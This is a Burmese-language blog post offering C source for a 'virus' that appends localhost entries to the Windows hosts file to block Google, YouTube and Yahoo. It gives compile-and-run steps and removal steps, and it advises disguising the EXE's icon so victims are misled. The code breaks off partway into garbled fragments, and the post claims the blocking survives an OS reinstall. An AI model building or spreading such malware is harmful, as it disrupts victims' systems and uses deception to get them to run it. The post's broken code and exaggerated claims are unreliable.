Websites ကို Block လုပ္တဲ႔ Virus

Monday, March 26, 20120 comments

Website ကို Block လုပ္တဲ႔ Virus နဲ႔ ပတ္သက္ျပီး ေတာ္ေတာ္မ်ားမ်ား သိျပီးၾကေလာက္ျပီထင္ပါတယ္... ဒါေပမယ့္ မသိေသးတဲ႔ သူေတြအတြက္ ေလ့လာလို႔ ရေအာင္ပါ။ ဒီ Virus ကိုလည္း C programming Language နဲ႔ ဖန္တီးထားတာျဖစ္ပါတယ္။ C နဲ႔ ပတ္သက္တဲ႔ Basic knowledge ရွိမယ္ဆုိရင္ ဒီ Virus ရဲ႕ အလုပ္လုပ္ပံုကို နားလည္ပါလိမ့္မယ္။ တိုက္ခိုက္ခံရသူအေနနဲ႔ ဒီ Virus ကို တစ္ၾကိမ္ေတာ့ Click လုပ္ဖုိ႔လိုအပ္ပါတယ္။ တစ္ၾကိမ္ Click လိုက္ျပီးတာနဲ႔ ဒီ Virus source code ထဲမွာ သတ္မွတ္ေပးထားတဲ႔ Website ေတြကို block လုပ္ပါလိမ့္မယ္။ တကယ္လို႔ တိုက္ခိုက္ခံရသူအေနနဲ႔ operation system ကို re-install လုပ္မယ္ဆိုရင္ေတာင္ အခု ဒီ Virus ကေန Block ထားတဲ႔ Website ေတြကို ဖြင့္လို႔ရေတာ့မွာ မဟုတ္ပါဘူး။ IE နဲ႔ Firefox browser ေတြကလည္း ဒီ Virus ရဲ႕ Blocking ကို ကန္႔သတ္ထားႏိုင္ျခင္း မရွိတဲ႔ အတြက္ ဒီ Virus နဲ႔ Block ထားတဲ႔ Website ေတြကို ဘယ္ Web Browser နဲ႔ဖြင့္ဖြင့္ ေပၚလာေတာ့မွာမဟုတ္ပါဘူး...။

ဒါကေတာ့ Virus ရဲ႕ Source Code ေတြျဖစ္ပါတယ္.....

#include<stdio.h>

#include<dos.h>

#include<dir.h>



char site_list[6][30]={

“google.com”,

“www.google.com”,

“youtube.com”,

“www.youtube.com”,

“yahoo.com”,

“www.yahoo.com”

};

char ip[12]=”127.0.0.1″;

FILE *target;



int find_root(void);

void block_site(void);



int find_root()

{

int done;

struct ffblk ffblk;//File block structure



done=findfirst(”C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);

/*to determine the root drive*/

if(done==0)

{

target=fopen(”C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);

/*to open the file*/

return 1;

}



done=findfirst(”D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);

/*to determine the root drive*/

if(done==0)

{

target=fopen(”D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);

/*to open the file*/

return 1;

}



done=findfirst(”E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);

/*to determine the root drive*/

if(done==0)

{

target=fopen(”E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);

/*to open the file*/

return 1;

}



done=findfirst(”F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);

/*to determine the root drive*/

if(done==0)

{

target=fopen(”F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);

/*to open the file*/

return 1;

}



else return 0;

}



void block_site()

{

int i;

fseek(target,0,SEEK_END); /*to move to the end of the file*/



fprintf(target,”\n”);

for(i=0;i<6;i++) success="0;" success="find_root();">

အခုအေပၚမွာျပထားတဲ႔ Source Code ကို Note pad ထဲမွာ ကူးထည့္ျပီး .c (သို႔) .cpp နဲ႔ save ျပီး compile လုပ္ဖို႔လိုပါတယ္။ ( အဆင့္ဆင့္ကို C programs ကို ဘယ္လို Compile လုပ္မလဲ ဆိုတဲ႔ post တြင္ၾကည့္ပါ။ )

ဒီ Virus ကို စမ္းသပ္ၾကည့္ဖို႔အတြက္ကေတာ့...

(၁) Compile လုပ္ျပီးတဲ႔အခါ block_Site.exe ( ဖုိင္ name ကေတာ့ ၾကိဳက္သလိုေပးႏိုင္ပါတယ္...)ကို တစ္ၾကိမ္ run လိုက္ပါ ။ ျပီးရင္ browser program ကို restart လုပ္လိုက္ပါ... ျပီးရင္ ဒီ Virus ထဲမွာ ပါ၀င္တဲ႔ website ေတြရဲ႕ URL ကို ရိုက္ထည့္ျပီး ဖြင့္ၾကည့္ပါ... Browser က "Page cannot displayed" ဆိုတဲ႔ error ကို ျပပါလိမ့္မယ္...။

(၂) ဒီ Virus ကို ျပန္ျဖဳတ္ဖို႔အတြက္ကေတာ့ Run ထဲမွာ %windir%\system32\drivers\etc ကို type ျပီး ဖြင့္လိုက္ပါ။ ျပီးရင္ အဲဒီထဲမွာ ဖိုင္ name "hosts" ဆိုတဲ႔ ဖိုင္ေတြကို ရွာျပီး notepad နဲ႔ဖြင့္ၾကည့္ပါ။ ဖိုင္ထဲမွာ ...
127.0.01 ------------- google.com
ကဲ႔သို႔ေသာ IP adress နဲ႔ website URL ပါတာေတြကို ေတြ႔ရပါလိမ့္မယ္။ အခုလို ပါ၀င္တဲ႔ ဖိုင္ေတြအားလံုးကို Delete လုပ္လိုက္ပါ ။

တိုက္ခိုက္ခံရသူေတြ ထင္ေယာင္ထင္မွားျဖစ္ေအာင္ EXE ဖိုင္ရဲ႕ Icon ပံုစံကို ေျပာင္းလဲဖုိ႔ လိုပါလိမ့္မယ္။ ( EXE ဖိုင္ရဲ႕ icon ပံုစံကို ဘယ္လိုေျပာင္းမလဲ ဆိုတဲ႔ Post မွာၾကည့္ပါ... )

(Educational Purposes Only )
Share this article :

Post a Comment

 
Support : Creating Website | Johny Template | Mas Template
Copyright © 2011. ထီဖိုးစံ (စော) - All Rights Reserved
Template Created by Creating Website Published by Mas Template
Proudly powered by Blogger